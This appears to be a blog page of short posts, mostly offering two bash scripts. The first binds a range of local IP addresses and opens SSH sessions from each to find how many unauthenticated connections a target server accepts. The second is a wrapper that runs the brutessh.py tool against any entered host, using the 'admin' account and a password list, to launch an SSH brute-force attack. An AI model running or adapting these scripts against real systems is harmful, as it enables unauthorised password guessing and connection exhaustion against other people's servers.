如何增加Linux arp cache entry

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Linux: Neighbour Table Overflow Error and Solution

OSX 10.8 Mountain Lion~

你能相信嗎？OSX 10.8要發佈了！Lion真是史上最短的OSX。

http://www.apple.com/macosx/mountain-lion/

如何測試SSH Server可接受的未經授權的最大連線數?

寫了一個簡單的script如下，去做測試然而目前只支援Class C，可以改善的空間應該還不少。

#!/bin/bash

# Bind IP

read -p "Which interface? [eth0]: " INTERFACE

read -p "Net address: [10.10.10] " NETIP

read -p "Min IP address: [1] " MiIP

read -p "Max IP address:[254] " MaIP

for((i="$MiIP";i<="$MaIP";i++))

do

ip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1

done

echo ""

# Start to test

read -p "Target: [10.10.10.10] " TARGET

i=$MiIP

num=1

echo ""

echo "Preparing for test target: $TARGET"

sleep 5

while true;

do

ssh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &

sleep 1

netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"

if [ `echo $?` -ne 0 ]; then

num=$(($num-1))

echo "The maximum SSH session of $TARGET is $num"

kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null

break

else

echo "SSH session number $num is established!"

i=$(($i+1))

num=$(($num+1))

fi

done

exit

SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:

1 #!/bin/bash

2

3 read -p "Please enter your target host: " HOST

4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."

5

6 echo -n "[run/exit]? "

7 while read LINE;

8 do

9 if [ $LINE = "run" ]; then

10 clear

11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &

12 sleep 10

13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "

14 continue

15 elif [ $LINE = "exit" ]; then

16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null

17 break

18 fi

19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).